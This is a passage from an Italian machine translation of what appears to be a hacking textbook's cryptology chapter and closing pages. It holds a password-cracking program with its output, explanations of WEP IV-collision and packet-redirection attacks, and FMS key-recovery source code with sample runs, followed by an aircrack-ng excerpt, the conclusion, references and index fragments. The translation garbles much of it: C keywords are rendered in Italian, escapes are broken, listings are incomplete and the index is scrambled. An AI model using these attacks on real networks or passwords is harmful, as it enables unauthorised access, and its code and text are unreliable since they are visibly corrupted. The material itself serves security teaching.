merge (bin_vector1, temp_vector); // Uniscilo ai primi due vettori.
fseek (fd, (DCM * 3) + enum_hashtriplet (pass [8], pass [9], pass [10]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore associatind byte 8-10 di hash.
merge (bin_vector1, temp_vector); // Uniscilo agli altri vettori.
printf ("Possibili coppie di testo in chiaro per i primi due byte: \ n");
print_vector (bin_vector1);
printf ("\ nFiltro possibili byte di testo normale per gli ultimi due caratteri: \ n");
fseek (fd, (DCM * 4) + enum_hashtriplet (pass [2], pass [3], pass [4]) * WIDTH, SEEK_SET);
fread (bin_vector2, WIDTH, 1, fd); // Legge il vettore che associa i byte 2-4 di hash.
fseek (fd, (DCM * 5) + enum_hashtriplet (pass [4], pass [5], pass [6]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore che associa i byte 4-6 di hash.
merge (bin_vector2, temp_vector); // Uniscilo al primo vettore.
fseek (fd, (DCM * 6) + enum_hashtriplet (pass [6], pass [7], pass [8]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore che associa i byte 6-8 di hash.
merge (bin_vector2, temp_vector); // Uniscilo ai primi due vettori.
fseek (fd, (DCM * 7) + enum_hashtriplet (pass [8], pass [9], pass [10]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore associatind byte 8-10 di hash.
merge (bin_vector2, temp_vector); // Uniscilo agli altri vettori.
printf ("Possibili coppie di testo in chiaro per gli ultimi due byte: \ n");
print_vector (bin_vector2);
Cryptology 431
Pagina 446
fclose (fd);
}
La seconda parte di codice, ppm_crack.c, può essere utilizzata per decifrare il file
fastidiosa password di h4R% in pochi secondi:
lettore @ hacking: ~ / booksrc $ ./crypt_test h4R% je
password "h4R%" con hash salt "je" per ==> jeMqqfIfPNNTE
reader @ hacking: ~ / booksrc $ gcc -O3 -o ppm_crack ppm_crack.c -lcrypt
lettore @ hacking: ~ / booksrc $ ./ppm_crack jeMqqfIfPNNTE
Filtraggio di possibili byte di testo in chiaro per i primi due caratteri:
solo 1 vettore di 4: 3801 coppie di testo in chiaro, con una saturazione del 42,12%
vettori 1 e 2 uniti: 1666 coppie di testo in chiaro, con una saturazione del 18,46%
primi 3 vettori uniti: 695 coppie di testo in chiaro, con una saturazione del 7,70%
tutti e 4 i vettori sono stati uniti: 287 coppie di testo in chiaro, con una saturazione del 3,18%
Possibili coppie di testo in chiaro per i primi due byte:
4 9 N! &! M! Q "/" 5 "W #K #d #g #p $ K $ O $ s%)% Z% \% r & (& T '-' 0 '7' D
'F ((v (|) +).) E) W * c * p * q * t * x + C -5 -A - [-a.% .D .S .f / t 02 07 0?
0e 0 {0 | 1A 1U 1V 1Z 1d 2V 2e 2q 3P 3a 3k 3m 4E 4M 4P 4X 4f 6 6, 6C 7: 7 @ 7S
7z 8F 8H 9R 9U 9_ 9 ~: -: q: s; G; J; Z; k <! <8 =! = 3 = H = L = N = Y> V> X? 1 @ #
432 0x700
Pagina 447
Filtraggio di possibili byte di testo in chiaro per gli ultimi due caratteri:
solo 1 vettore di 4: 3821 coppie di testo in chiaro, con 42,34% di saturazione
vettori 1 e 2 uniti: 1677 coppie di testo in chiaro, con una saturazione del 18,58%
primi 3 vettori uniti: 713 coppie di testo in chiaro, con una saturazione del 7,90%
tutti e 4 i vettori sono stati uniti: 297 coppie di testo in chiaro, con una saturazione del 3,29%
Possibili coppie di testo in chiaro per gli ultimi due byte:
! &! =! H! I! K! P! X! O! ~ "R" {"} #% # 0 $ 5 $]% K% M% T &" &% & (& 0 & 4 & I
& q &} 'B' Q 'd) j) w * I *] * e * j * k * o * w * | + B + W, ', J, V -z. . $ .T / '/ _
0Y 0i 0s 1! 1 = 1l 1v 2- 2 / 2g 2k 3n 4K 4Y 4 \ 4y 5- 5M 5O 5} 6+ 62 6E 6j 7 * 74
8E 9Q 9 \ 9a 9b: 8:; : A: H: S: w; "; &; L <L <m <r <u =, = 4 = v> v> x? &?`? J
? w @ 0 A * BB @ BT C8 CF CJ CN C} D + D? DK Dc EM EQ FZ GO GR H) Hj I: I> J (J +
J3 J6 Jm K # K) K @ L, L1 LT N * NW N` O = O [Ot P: P \ Ps Q- Qa R% RJ RS S3 Sa T!
T $ T @ TR T_ Th U "U1 V * V {W3 Wy Wz X% X * Y * Y? Yw Z7 Za Zh Zi Zm [F \ (\ 3 \ 5 \
_ \ a \ b \ | ] $]. ] 2]? ] d ^ [^ ~ `1` F `f` y a8 a = aI aK az b, b- bS bz c (cg dB
e, eF eJ eK eu fT fW fo g (g> gW g \ h $ h9 h: h @ hk i? jN ji jn k = kj l7 lo m <
m = mT me m | m} n% n? n ~ o oF oG oM p "p9 p \ q} r6 r = rB sA sN s {s ~ tX tp u
u2 uQ uU uk v # vG vV vW vl w * w> wD wv x2 xA y: y = y? yM yU yX zK zv {# {) {=
{O {m | I | Z}. }; } d ~ + ~ C ~ a
Costruire vettori di probabilità ...
Cracking rimanenti 85239 possibilità ..
Password: h4R%
lettore @ hacking: ~ / booksrc $
Cryptology 433
Pagina 448
Ora, il messaggio di testo normale deve essere crittografato. Questo viene fatto usando
RC4, che è un cifrario a flusso. Questo codice, inizializzato con un valore seed,
può generare un keystream, che è solo un flusso arbitrariamente lungo di pseudo-
byte casuali. WEP utilizza un vettore di inizializzazione (IV) per il valore seed.
L'IV è costituito da 24 bit generati per ogni pacchetto. Alcuni vecchi WEP
le implementazioni usano semplicemente valori sequenziali per IV, mentre altri usano
una qualche forma di pseudo-randomizzatore.
Indipendentemente da come vengono scelti i 24 bit di IV, vengono anteposti a
la chiave WEP. (Questi 24 bit di IV sono inclusi nella dimensione della chiave WEP in un po '
di una strategia di marketing intelligente; quando un fornitore parla di WEP a 64 o 128 bit
le chiavi, le chiavi effettive sono solo 40 bit e 104 bit, rispettivamente, combinate
con 24 bit di IV.) L'IV e la chiave WEP insieme costituiscono il seme
value, che si chiamerà S.
Valore seme S
434 0x700
Pagina 449
XOR
è uguale a
j = 0;
per i = da 0 a 255
{
j = (j + S [i] + K [i]) mod 256;
scambiare S [i] e S [j];
}
Una volta fatto ciò, la S-box è tutta confusa in base al valore di seme.
Questo è l'algoritmo di pianificazione chiave. Abbastanza semplice.
Cryptology 435
Pagina 450
436 0x700
Pagina 451
C 1 = P 1 ⊕ RC4 (seme)
C 2 = P 2 ⊕ RC4 (seme)
Da qui, se uno dei testi in chiaro è noto, l'altro può essere facilmente
recuperato. Inoltre, poiché i testi in chiaro in questo caso sono pacchetti Internet
con una struttura nota e abbastanza prevedibile, possono essere varie tecniche
impiegato per recuperare entrambi i testi in chiaro originali.
Il IV ha lo scopo di prevenire questi tipi di attacchi; senza di essa, ogni
il pacchetto verrebbe crittografato con lo stesso keystream. Se viene utilizzata una flebo diversa
per ogni pacchetto, anche i flussi di chiavi per i pacchetti saranno diversi. Tuttavia, se
lo stesso IV viene riutilizzato, entrambi i pacchetti verranno crittografati con lo stesso keystream.
Questa è una condizione che è facile da rilevare, poiché gli IV sono inclusi nel testo in chiaro
nei pacchetti crittografati. Inoltre, gli IV utilizzati per WEP sono solo 24 bit in formato
lunghezza, che garantisce quasi il riutilizzo degli IV. Supponendo che IVs
sono scelti a caso, statisticamente dovrebbe esserci un caso di riutilizzo del keystream
dopo soli 5.000 pacchetti.
Questo numero sembra sorprendentemente piccolo a causa di un problema controintuitivo
fenomeno abilistico noto come il paradosso del compleanno . Questo paradosso lo afferma
se 23 persone sono nella stessa stanza, due di queste persone dovrebbero condividere un compleanno.
Con 23 persone, ci sono (23 · 22) / 2, o 253, possibili coppie. Ogni coppia ha un
probabilità di successo di 1/365, o circa lo 0,27 percento, che corrisponde a
una probabilità di fallimento di 1 - (1/365), o circa il 99,726 percento. Alzando
questa probabilità alla potenza di 253, viene mostrata la probabilità complessiva di guasto
essere circa il 49,95%, il che significa che la probabilità di successo è solo a
poco più del 50 percento.
Funziona allo stesso modo con le collisioni IV. Con 5.000 pacchetti, ci sono
(5000 · 4999) / 2 o 12.497.500 possibili coppie. Ogni coppia ha una probabilità di
fallimento di 1 - (1/2 24 ). Quando questo viene elevato alla potenza del numero di
possibili coppie, la probabilità complessiva di fallimento è di circa il 47,5 percento
che c'è una probabilità del 52,5% di una collisione IV con 5.000 pacchetti:
5 ,000 ⋅ 4 ,999
-------------------
⎛ 1 ⎞ 2
1 - ⎝1 - -----
⎠ = 52,5Ψ
224
Cryptology 437
Pagina 452
Dopo che viene scoperta una collisione IV, alcune ipotesi plausibili sul
la struttura dei testi in chiaro può essere utilizzata per rivelare i testi in chiaro originali di
XORing i due testi cifrati insieme. Inoltre, se uno dei testi in chiaro è noto,
l'altro testo in chiaro può essere recuperato con un semplice XORing. Un metodo
di ottenere testi in chiaro noti potrebbe avvenire tramite posta indesiderata, dove il file
l'aggressore invia lo spam e la vittima controlla la posta crittografata
connessione senza fili.
Reindirizzamento IP 0x784
Un altro modo per decrittografare i pacchetti crittografati è ingannare il punto di accesso
facendo tutto il lavoro. Di solito, i punti di accesso wireless hanno una qualche forma di Internet
connettività e, in tal caso, è possibile un attacco di reindirizzamento IP. Primo, un file
il pacchetto crittografato viene acquisito e l'indirizzo di destinazione viene modificato in un file
Indirizzo IP controllato dall'autore dell'attacco, senza decrittografare il pacchetto. Poi il
il pacchetto modificato viene restituito al punto di accesso wireless, che verrà decrittografato
il pacchetto e inviarlo direttamente all'indirizzo IP dell'aggressore.
La modifica del pacchetto è resa possibile grazie al checksum CRC32
essendo una funzione lineare e non codificata. Ciò significa che il pacchetto può essere
gically modificato e il checksum risulterà ancora lo stesso.
Questo attacco presuppone anche che gli indirizzi IP di origine e di destinazione
sono conosciuti. Questa informazione è abbastanza facile da capire, basandosi solo su
gli schemi di indirizzamento IP di rete interna standard. Inoltre, alcuni casi di
Il riutilizzo di keystream a causa di collisioni IV può essere utilizzato per determinare gli indirizzi.
Una volta che l'indirizzo IP di destinazione è noto, questo valore può essere XORed con
l'indirizzo IP desiderato e l'intera operazione può essere XORed in posizione nel file
pacchetto crittografato. Lo XORing dell'indirizzo IP di destinazione verrà annullato,
lasciando dietro di sé l'indirizzo IP desiderato XORed con il keystream. Poi a
assicurarsi che il checksum rimanga lo stesso, l'indirizzo IP di origine deve essere
strategicamente modificato.
Ad esempio, supponiamo che l'indirizzo di origine sia 192.168.2.57 e il file
l'indirizzo di destinazione è 192.168.2.1. L'attaccante controlla l'indirizzo
123.45.67.89 e vuole reindirizzare il traffico lì. Questi indirizzi IP
438 0x700
Pagina 453
esistono nel pacchetto in forma binaria di parole a 16 bit di ordine alto e basso.
La conversione è abbastanza semplice:
Src IP = 192.168.2.57
SL = 2 · 256 + 57 = 569
IP DST = 192.168.2.1
DL = 2 · 256 + 1 = 513
Nuovo IP = 123.45.67.89
NL = 67 · 256 + 89 = 17241
S ' L = SL - ( NH + NL - DH - DL )
S ' L = 2652
NL = DH + DL - NH
NL = 50.344 + 513 - 31.533
N ' L = 82390
Cryptology 439
Pagina 454
uscita = 9
A=0
IV = 3, 15, 2
Chiave = 1, 2, 3, 4, 5
K [] = 3 15 2 XXXXX 3 15 2 XXXXX
S [] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
440 0x700
Pagina 455
Poiché la chiave è attualmente sconosciuta, l' array K viene caricato con cosa
attualmente è noto e l' array S è riempito con valori sequenziali da 0 a
15. Quindi, j viene inizializzato a 0 e vengono eseguiti i primi tre passaggi di KSA.
Ricorda che tutta la matematica viene eseguita modulo 16.
io = 0
j=j+S[i]+K[i]
j=0+0+3=3
Scambia S [ i ] e S [ j ]
K [] = 3 15 2 XXXXX 3 15 2 XXXXX
S [] = 3 1 2 0 4 5 6 7 8 9 10 11 12 13 14 15
io = 1
j=j+S[i]+K[i]
j = 3 + 1 + 15 = 3
Scambia S [ i ] e S [ j ]
K [] = 3 15 2 XXXXX 3 15 2 XXXXX
S [] = 3 0 2 1 4 5 6 7 8 9 10 11 12 13 14 15
io = 2
j=j+S[i]+K[i]
j=3+2+2=7
Scambia S [ i ] e S [ j ]
K [] = 3 15 2 XXXXX 3 15 2 XXXXX
S [] = 3 0 7 1 4 5 6 2 8 9 10 11 12 13 14 15
uscita = 6
A=0
IV = 4, 15, 9
Chiave = 1, 2, 3, 4, 5
Cryptology 441
Pagina 456
K [] = 4 15 9 1 XXXX 4 15 9 1 XXXX
S [] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
io = 0
j=j+S[i]+K[i]
j=0+0+4=4
Scambia S [ i ] e S [ j ]
K [] = 4 15 9 1 XXXX 4 15 9 1 XXXX
S [] = 4 1 2 3 0 5 6 7 8 9 10 11 12 13 14 15
io = 1
j=j+S[i]+K[i]
j = 4 + 1 + 15 = 4
Scambia S [ i ] e S [ j ]
K [] = 4 15 9 1 XXXX 4 15 9 1 XXXX
S [] = 4 0 2 3 1 5 6 7 8 9 10 11 12 13 14 15
io = 2
j=j+S[i]+K[i]
j = 4 + 2 + 9 = 15
Scambia S [ i ] e S [ j ]
K [] = 4 15 9 1 XXXX 4 15 9 1 XXXX
S [] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2
io = 3
j=j+S[i]+K[i]
j = 15 + 3 + 1 = 3
Scambia S [ i ] e S [ j ]
K [] = 4 15 9 1 XXXX 4 15 9 1 XXXX
S [] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2
6-3-1=2
442 0x700
Pagina 457
Anche in questo caso, viene determinato il byte chiave corretto. Naturalmente, per il bene di
dimostrazione, i valori per X sono stati scelti strategicamente. Per darti un
vero senso della natura statistica dell'attacco contro un'implementazione RC4 completa
mentation, è stato incluso il seguente codice sorgente:
fms.c
#include <stdio.h>
// Seme = IV + chiave;
per (k = 0; k <3; k ++)
seme [k] = IV [k];
per (k = 0; k <13; k ++)
seme [k + 3] = chiave [k];
j = 0;
for (i = 0; i <256; i ++) {
j = (j + S [i] + K [i])% 256;
t = S [i]; S [i] = S [j]; S [j] = t; // Scambia (S [i], S [j]);
}
i = i + 1;
j = j + S [i];
ritorno S [k];
}
int IV [3];
Cryptology 443
Pagina 458
chiave int [13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213};
int seed [16];
int N = 256;
int i, j, k, t, x, A;
int keystream, keybyte;
if (argc <2) {
printf ("Utilizzo:% s <keybyte per attaccare> \ n", argv [0]);
uscita (0);
}
A = atoi (argv [1]);
se ((A> 12) || (A <0)) {
printf ("keybyte deve essere compreso tra 0 e 12. \ n");
uscita (0);
}
IV [0] = A + 3;
IV [1] = N - 1;
// Seme = IV + chiave;
per (k = 0; k <3; k ++)
seme [k] = IV [k];
per (k = 0; k <13; k ++)
seme [k + 3] = chiave [k];
j = 0;
for (i = 0; i <(A + 3); i ++) {
j = (j + S [i] + K [i])% 256;
t = S [i];
444 0x700
Pagina 459
S [i] = S [j];
S [j] = t;
}
Questo codice esegue l'attacco FMS su WEP a 128 bit (chiave a 104 bit, IV a 24 bit),
utilizzando ogni possibile valore della X . Il byte chiave da attaccare è l'unico argomento,
Cryptology 445
Pagina 460
.: [output tagliato] :.
Utilizzando IV: (3, 255, 252), il primo byte del flusso di chiavi è 175
Durante i primi 3 passaggi di KSA .. S [0] o S [1] sono stati disturbati,
scartando ..
Utilizzando IV: (3, 255, 253), il primo byte del flusso di chiavi è 149
Eseguendo i primi 3 passaggi di KSA .. all'iterazione KSA n. 3, j = 2 e S [3] = 1
previsione key [0] = 149 - 2 - 1 = 146
Utilizzando IV: (3, 255, 254), il primo byte del flusso di chiavi è 253
Eseguendo i primi 3 passaggi di KSA .. all'iterazione KSA n. 3, j = 3 e S [3] = 2
previsione chiave [0] = 253 - 3 - 2 = 248
Utilizzando IV: (3, 255, 255), il primo byte del flusso di chiavi è 72
Eseguendo i primi 3 passaggi di KSA .. all'iterazione KSA n. 3, j = 4 e S [3] = 1
previsione key [0] = 72 - 4 - 1 = 67
446 0x700
Pagina 461
[Chiave effettiva] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
la chiave [0] è probabilmente 1
lettore @ hacking: ~ / booksrc $
lettore @ hacking: ~ / booksrc $ ./fms 12
Utilizzando IV: (15, 255, 0), il primo byte del flusso di chiavi è 81
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA # 15, j = 251 e S [15] = 1
previsione chiave [12] = 81 - 251 - 1 = 85
Utilizzando IV: (15, 255, 1), il primo byte del flusso di chiavi è 80
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA # 15, j = 252 e S [15] = 1
previsione chiave [12] = 80 - 252 - 1 = 83
Utilizzando IV: (15, 255, 2), il primo byte del flusso di chiavi è 159
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA n. 15, j = 253 e S [15] = 1
previsione chiave [12] = 159 - 253 - 1 = 161
.: [output tagliato] :.
Utilizzando IV: (15, 255, 252), il primo byte del flusso di chiavi è 238
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA # 15, j = 236 e S [15] = 1
previsione chiave [12] = 238 - 236 - 1 = 1
Utilizzando IV: (15, 255, 253), il primo byte del flusso di chiavi è 197
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA # 15, j = 236 e S [15] = 1
previsione chiave [12] = 197 - 236 - 1 = 216
Utilizzando IV: (15, 255, 254), il primo byte del flusso di chiavi è 238
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA # 15, j = 249 e S [15] = 2
previsione chiave [12] = 238 - 249 - 2 = 243
Utilizzando IV: (15, 255, 255), il primo byte del keystream è 176
Eseguendo i primi 15 passaggi di KSA .. all'iterazione KSA n. 15, j = 250 e S [15] = 1
previsione chiave [12] = 176 - 250 - 1 = 181
Cryptology 447
Pagina 462
[Chiave effettiva] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
la chiave [12] è probabilmente 213
lettore @ hacking: ~ / booksrc $
Questo tipo di attacco ha avuto così tanto successo che un nuovo protocollo wireless
chiamato WPA dovrebbe essere utilizzato se si prevede una qualsiasi forma di sicurezza. Però,
esiste ancora un numero incredibile di reti wireless protette solo da
WEP. Al giorno d'oggi, esistono strumenti abbastanza robusti per eseguire attacchi WEP. Uno
un esempio notevole è aircrack, che è stato incluso con il LiveCD;
tuttavia, richiede hardware wireless, che potresti non avere. C'è
molta documentazione su come utilizzare questo strumento, che è in costante
sviluppo. La prima pagina di manuale dovrebbe farti iniziare.
448 0x700
Pagina 463
NOME
aircrack-ng è un cracker di chiavi 802.11 WEP / WPA-PSK.
SINOSSI
aircrack-ng [opzioni] <file .cap / .ivs>
DESCRIZIONE
aircrack-ng è un cracker di chiavi 802.11 WEP / WPA-PSK. Implementa così
chiamato Fluhrer - Mantin - Shamir (FMS), insieme ad alcuni nuovi attacchi
da un talentuoso hacker di nome KoreK. Quando è stato eseguito un numero sufficiente di pacchetti crittografati
raccolto, aircrack-ng può recuperare quasi istantaneamente la chiave WEP.
OPZIONI
Opzioni comuni:
-a <amode>
Forza la modalità di attacco, 1 o wep per WEP e 2 o wpa per WPA-PSK.
-e <essid>
Seleziona la rete di destinazione in base all'ESSID. Questa opzione è anche
richiesto per il cracking WPA se l'SSID è nascosto.
Di nuovo, consulta Internet per problemi hardware. Questo programma è diventato popolare
una tecnica intelligente per raccogliere IV. In attesa di raccogliere abbastanza IV da
i pacchetti richiederebbero ore o addirittura giorni. Ma poiché il wireless è ancora una rete,
ci sarà traffico ARP. Poiché la crittografia WEP non modifica la dimensione di
il pacchetto, è facile scegliere quali sono ARP. Questo attacco cattura
un pacchetto crittografato delle dimensioni di una richiesta ARP e quindi riprodotto
alla rete migliaia di volte. Ogni volta, il pacchetto viene decrittografato
e inviato alla rete, e viene inviata una risposta ARP corrispondente.
Queste risposte extra non danneggiano la rete; tuttavia, generano un file
pacchetto separato con un nuovo IV. Usando questa tecnica di solleticare la rete,
È possibile raccogliere un numero sufficiente di IV per violare la chiave WEP in pochi minuti.
Cryptology 449
Pagina 465
464
0x800 CONCLUSIONE
Pagina 466
non avere intenti dannosi; invece, aiutano i fornitori a riparare i loro vulnerabili
Software. Senza hacker, le vulnerabilità e le falle nel software lo sarebbero
rimangono da scoprire. Purtroppo, il sistema legale è lento e per lo più
ignorante per quanto riguarda la tecnologia. Spesso vengono approvate leggi draconiane e
vengono date frasi eccessive per cercare di spaventare le persone dal guardare
strettamente. Questa è una logica infantile: scoraggiare gli hacker dall'esplorare e
la ricerca di vulnerabilità non risolve nulla. Convincere tutti i
l'imperatore indossa abiti nuovi e fantasiosi non cambia la realtà che lui è
nudo. Le vulnerabilità non scoperte stanno solo aspettando qualcuno molto di più
dannoso di un hacker medio per scoprirli. Il pericolo del software
vulnerabilità è che il carico utile potrebbe essere qualsiasi cosa. Replica di Internet
i vermi sono relativamente benigni rispetto al terrorismo da incubo
scenari di cui queste leggi fanno così paura. Limitare gli hacker con le leggi può
rendere gli scenari peggiori più probabili, poiché lascia più da scoprire
vulnerabilità che devono essere sfruttate da coloro che non sono vincolati dalla legge e
voglio fare un danno reale.
Qualcuno potrebbe sostenere che se non ci fossero gli hacker, non ci sarebbe
motivo per correggere queste vulnerabilità non scoperte. Questa è una prospettiva, ma
personalmente preferisco il progresso alla stagnazione. Gli hacker giocano un ruolo molto importante
ruolo nella coevoluzione della tecnologia. Senza hacker, ci sarebbe poco
motivo per migliorare la sicurezza del computer. Inoltre, finché le domande
"Perché?" e "E se?" viene chiesto, gli hacker esisteranno sempre. Un mondo senza
gli hacker sarebbero un mondo senza curiosità e innovazione.
Si spera che questo libro abbia spiegato alcune tecniche di base di hacking e
forse anche lo spirito di esso. La tecnologia è in continua evoluzione ed espansione,
quindi ci saranno sempre nuovi hack. Ci saranno sempre nuove vulnerabilità in
software, ambiguità nelle specifiche del protocollo e una miriade di altri
attrazioni. La conoscenza acquisita da questo libro è solo un punto di partenza. Tocca a
di espanderlo scoprendo continuamente come funzionano le cose, chiedendoti
sulle possibilità e pensando alle cose che gli sviluppatori non hanno fatto
pensa a. Sta a te trarre il meglio da queste scoperte e applicarle
conoscenza come meglio credi. L'informazione in sé non è un crimine.
Riferimenti 0x810
Aleph1. "Smashing the Stack for Fun and Profit." Phrack , no. 49, pubblicazione online
lication su http://www.phrack.org/issues.html?issue=49&id=14#article
Bennett, C., F. Bessette e G. Brassard. "Quantum sperimentale
Crittografia." Journal of Cryptology , vol. 5, n. 1 (1992), 3–28.
Borisov, N., I. Goldberg e D. Wagner. "Sicurezza dell'algoritmo WEP".
Pubblicazione in linea all'indirizzo http://www.isaac.cs.berkeley.edu/isaac/
wep-faq.html
Brassard, G. e P. Bratley. Fondamenti di algoritmi . Englewood Cliffs, NJ:
Prentice Hall, 1995.
452 0x800
Pagina 467
Notizie CNET. "La crittografia a 40 bit non presenta problemi." Pubblicazione in linea su
http://www.news.com/News/Item/0,4,7483,00.html
Conover, M. (Shok). "W00w00 su Heap Overflow". Pubblicazione in linea su
http://www.w00w00.org/files/articles/heaptut.txt
Electronic Frontier Foundation. "Felten vs. RIAA." Pubblicazione in linea su
http://www.eff.org/IP/DMCA/Felten_v_RIAA
Eller, R. (caezar). “Bypassare i filtri dati MSB per gli exploit di overflow del buffer
sulle piattaforme Intel ". Pubblicazione in linea su http: //community.core-sdi
.com / ~ juliano / bypass-msb.txt
Fluhrer, S., I. Mantin e A. Shamir. “Punti deboli nella programmazione delle chiavi
Algoritmo di RC4. " Pubblicazione online su http://citeseer.ist.psu.edu/
fluhrer01weaknesses.html
Grover, L. “La meccanica quantistica aiuta nella ricerca di un ago in a
Pagliaio." Physical Review Letters , vol. 79, n. 2 (1997), 325-28.
Joncheray, L. "Simple Active Attack Against TCP." Pubblicazione in linea su
http://www.insecure.org/stf/iphijack.txt
Levy, S. Hackers: Heroes of the Computer Revolution . New York: Doubleday, 1984.
McCullagh, D. "Russian Adobe Hacker Busted", Wired News , 17 luglio 2001.
Pubblicazione in linea su http://www.wired.com/news/politics/
0,1283,45298,00.html
Il team di sviluppo NASM. “NASM — The Netwide Assembler
(Manual), "versione 0.98.34. Pubblicazione in linea su http: // nasm
.sourceforge.net
Rieck, K. “Impronte digitali fuzzy: attaccare le vulnerabilità nell'essere umano
Cervello." Pubblicazione in linea su http://freeworld.thc.org/papers/ffp.pdf
Schneier, B. Crittografia applicata: protocolli, algoritmi e codice sorgente in C ,
2a ed. New York: John Wiley & Sons, 1996.
Scut e il Team Teso. "Sfruttare le vulnerabilità delle stringhe di formato", versione 1.2.
Disponibile online sui siti web degli utenti privati.
Shor, P. “Algoritmi tempo-polinomiali per fattorizzazione primi e discreti
Logaritmi su un computer quantistico ". SIAM Journal of Computing , vol. 26
(1997), 1484–509. Pubblicazione in linea su http://www.arxiv.org/abs/
quant-ph / 9508027
Smith, N. "Stack Smashing Vulnerabilities in the UNIX Operating System."
Disponibile online sui siti web degli utenti privati.
Designer solare. "Come spostarsi nello stack non eseguibile (e correzione)." BugTraq
post, 10 agosto 1997.
Stinson, D. Cryptography: Theory and Practice . Boca Raton, FL: CRC Press, 1995.
Zwicky, E., S. Cooper e D. Chapman. Creazione di firewall Internet, 2a ed.
Sebastopol, CA: O'Reilly, 2000.
Conclusione 453
Pagina 468
0x820 Fonti
pcalc
Una calcolatrice per programmatore disponibile da Peter Glen
http://ibiblio.org/pub/Linux/apps/math/calc/pcalc-000.tar.gz
NASM
Il Netwide Assembler, dal NASM Development Group
http://nasm.sourceforge.net
nemesi
Uno strumento di iniezione di pacchetti da riga di comando di Obecian (Mark Grimes) e
Jeff Nathan
http://www.packetfactory.net/projects/nemesis
dsniff
Una raccolta di strumenti per lo sniffing della rete da Dug Song
http://monkey.org/~dugsong/dsniff
Dissembler
Un polimero bytecode ASCII stampabile da Matrix (Jose Ronnick)
http://www.phiral.com
mitm-ssh
Uno strumento SSH man-in-the-middle di Claes Nyberg
http://www.signedness.org/tools/mitm-ssh.tgz
ffp
Uno strumento per la generazione di impronte digitali sfocate di Konrad Rieck
http://freeworld.thc.org/thc-ffp
John lo Squartatore
Un password cracker di Solar Designer
http://www.openwall.com/john
454 0x800
Pagina 469
INDICE
Pagina 470
ARP. Vedere Protocollo di risoluzione degli indirizzi Registro Base Pointer (EBP), 24, 31,
(ARP) 70, 73, 344–345
funzione arp_cmdline () , 246 salvataggio dei valori correnti, 342
ARPhdr struttura, 245-246 Shell BASH, 133-150, 332
funzione arp_initdata () , 246 sostituzione dei comandi, 254
funzione arp_send () , 249 indagini con, 380–384
programma arpspoof.c, 249-250, 408 per i loop, 141–142
funzione arp_validatedata () , 246 script per inviare risposte ARP, 243–244
funzione arp_verbose () , 246 BB84, 396
array in C, 38 programma calcolatore bc , 30
espressione artistica, programmazione come, 2 bellezza, in matematica, 3
ASCII, 33–34 Bennett, Charles, 396
funzione per la conversione in Berkeley Packet Filter (BPF), 259
intero, 59 ordine dei byte big-endian, 202
per indirizzo IP, conversione, 203 notazione big-oh, 398
ASLR, 379-380, 385, 388 bind call, struttura host_addr per, 205
programma aslr_demo.c, 380 funzione bind () , 199
programma aslr_execl.c, 389 bind_port.c programma, 303-304
programma aslr_execl_exploit.c, programma bind_port.s, 306-307
390–391 programma bind_shell.s, 312–314
assemblatore, 7 programma bind_shell1.s, 308
linguaggio assembly, 7, 22, 25–37 / bin / sh, 359
GDB esamina il comando da visualizzare chiamata di sistema da eseguire, 295
istruzioni, 30 paradosso del compleanno, 437
struttura if-then-else in, 32 operazioni bit per bit, 84
Chiamate di sistema Linux in, 284–286 programma bitwise.c, 84-85
per codice shell, 282–286 cifratura a blocchi, 398
sintassi, 22 Blowfish, 398
operatore di assegnazione ( = ), 12 Bluesmack, 256
asterisco ( * ), per i puntatori, 43 Protocollo Bluetooth, 256
crittografiaasintotica,
notazione asimmetrica,
398 400–405 LiveCD258
botnet, avviabile. Vedi LiveCD
Sintassi AT&T per l'assembly bot, 258
lingua, 22 BPF (Berkeley Packet Filter), 259
funzione atoi () ,
59 Brassard, Gilles, 396
programma auth_overflow.c, 122–125 punto di interruzione, 24, 27, 39, 342, 343
programma auth_overflow2.c, 126–133 indirizzo di trasmissione, per l'amplificazione
attacchi, 257
B attacchi di forza bruta, 436–437
esaustivo, 422–423
barra rovesciata ( \ ), per caratteri di escape segmento bss, 69, 77
carattere, 180 per memoria variabile C, 75
backtrace comando bt , 40
di chiamate di funzioni annidate, 66 buffer overflow, 119–133, 251
di pila, 40, 61, 274 sostituzione dei comandi e Perl a
larghezza di banda, ping flood a generare, 134–135
consumare, 257 in segmenti di memoria, 150–167
Registro di base (EBX), 24, 344–345 vulnerabilità del programma notesearch.c
salvataggio dei valori correnti, 342 capacità di, 137–142
vulnerabilità basate sullo stack, 122–133
456 INDICE
Pagina 471
INDICE 457
Pagina 472
458 INDICE
Pagina 473
INDICE 459
Pagina 474
sfruttamento, ha continuato impronte digitali
stringhe di formato, continua sfocato, 413–417
con brevi scritti, 182–183 host, per SSH, 410–413
vulnerabilità, 170–171 firewall e binding di porte
scrivere in una memoria arbitraria codice shell, 314
indirizzi, 173–179 ordinazione first-in, last-out (FILO), 70
tecniche generali, 118 programma firstprog.c, 19
overflow basato su heap, 150–155 tipo di dati float , 12, 13, 43
jackpot () funziona come target, servizi di inondazione, da attacchi DoS, 251
160–166 flusso di esecuzione, operazioni
puntatori a funzioni traboccanti, controllo, 26
156–167 Fluhrer, Mantin e Shamir (FMS)
sovrascrivere la tabella offset globale, attacco, 439–449
190–193 programma fms.c, 443–445
senza file di registro, 352–354 programma fmt_strings.c, 48–49
programma exploit_notesearch.c, 121 programma fmt_uncommon.c, 168
programma exploit_notesearch_env.c, programma fmt_vuln.c, 170–171
149–150 funzione fopen () , 419
